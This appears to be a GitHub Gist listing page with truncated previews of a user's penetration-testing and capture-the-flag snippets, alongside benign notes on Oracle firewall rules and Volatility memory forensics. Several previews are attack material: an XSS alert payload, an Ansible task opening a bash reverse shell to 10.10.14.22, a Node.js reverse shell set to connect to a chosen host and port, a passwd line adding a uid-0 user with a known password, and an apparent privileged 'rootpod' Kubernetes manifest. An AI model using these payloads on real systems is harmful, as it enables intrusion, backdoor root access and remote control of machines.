View a.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>alert('Reelix');</script> |
View reverse-shell.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- hosts: localhost | |
tasks: | |
- name: rev | |
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1' |
View mqtt_multiclient.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://shamsher-khan.medium.com/broker-tryhackme-writeup-93202a3f778 | |
# https://pypi.org/project/paho-mqtt/#client | |
import paho.mqtt.client as mqtt | |
import threading | |
import sys | |
import ipaddress | |
IP = "" | |
try: |
View passwd
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
reelix:$1$Nq8UgW36$58WHg7G1iMta.ckiAUXVg0:0:0:root:/root:/bin/bash | |
Pass: reelix |
View fix-oracle-firewall.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1.) sudo nano /etc/iptables/rules.v4 | |
2.) sudo su | |
3.) iptables-restore < /etc/iptables/rules.v4 | |
4.) exit # su | |
5.) sudo iptables -L INPUT # Verify your rule is there - Might have a name instea of the port | |
6.) Sign into https://cloud.oracle.com/ | |
7.) Search for "security lists" and click the link on the left |
View brute.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void Main(string[] args) | |
{ | |
Console.WriteLine("Input path to numerical ciphertext."); | |
string path = Console.ReadLine(); | |
string input = File.ReadAllText(path); | |
int[] intList = input.Split(' ').Select(int.Parse).ToArray(); | |
int intListLength = intList.Length; | |
StringBuilder final = new StringBuilder(); | |
for (int n = 1; n < 100000; n++) | |
{ |
View volatility-cheatsheet.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0.) Update: https://www.volatilityfoundation.org/releases | |
1.) General analysis (Mainly used to get Profiles) | |
- volatility.exe -f file.raw imageinfo | |
Eg: Suggested Profile(s) : Win7SP1x64, WinXPSP2x86, WinXPSP3x86 | |
2.) List Processes | |
- volatility.exe -f file.raw --profile=ProfileFromAbove pslist |
View NodeJS.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Step 1 | |
// Use the following Code - Change the HOST / PORT as you need | |
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js | |
var net = require('net'); | |
var spawn = require('child_process').spawn; | |
HOST="10.2.26.203"; | |
PORT="9001"; | |
TIMEOUT="5000"; | |
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } | |
var client = new net.Socket(); |
View rootpod.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: v1 | |
kind: Pod | |
metadata: | |
name: rootpod | |
spec: | |
containers: | |
- name: rootpod | |
image: nginx # Pull from an existing pod | |
imagePullPolicy: IfNotPresent | |
volumeMounts: |
View rextrtact.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/python3 | |
import os, sys | |
# Argument | |
file = sys.argv[1] | |
print("Processing " + file) | |
filetype = os.popen('file ' + file).read() | |
print("Type: " + filetype) |
NewerOlder